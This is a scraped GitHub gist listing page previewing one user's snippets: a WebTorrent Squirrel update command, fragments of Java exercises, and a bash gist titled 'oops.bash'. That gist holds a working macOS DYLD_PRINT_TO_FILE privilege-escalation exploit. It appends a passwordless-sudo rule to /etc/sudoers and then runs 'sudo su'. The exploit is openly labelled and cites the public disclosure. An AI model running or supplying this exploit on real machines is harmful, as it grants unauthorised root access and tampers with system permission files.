Skip to content

Instantly share code, notes, and snippets.

🙃
Hello!

Sean Zhu szhu

🙃
Hello!
Block or report user

Report or block szhu

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
@szhu
szhu / squirrel-update.sh
Created Jul 28, 2016
Force Squirrel/ShipIt update
View squirrel-update.sh
/Applications/WebTorrent.app/Contents/Frameworks/Squirrel.framework/Versions/A/Resources/ShipIt io.webtorrent.webtorrent.ShipIt
View HigherOrderFunctionsTest.java
import java.util.*;
class Animal { // implements Comparable<Animal> {
public String name;
public int age;
public Animal(String name, int age) {
this.name = name;
this.age = age;
}
@szhu
szhu / oops.bash
Created Jul 23, 2015
DYLD_PRINT_TO_FILE vulerability
View oops.bash
# https://twitter.com/nst021/status/623953011325468673
# https://www.sektioneins.de/en/blog/15-07-07-dyld_print_to_file_lpe.html
echo python -c '"import os; os.write(3,\"ALL ALL=(ALL) NOPASSWD: ALL\")"' | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp
sudo su
View T9.java
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Arrays;
import java.util.Collection;
import java.util.HashMap;
import java.util.HashSet;
import java.util.List;
import java.util.Map;
import java.util.Set;
You can’t perform that action at this time.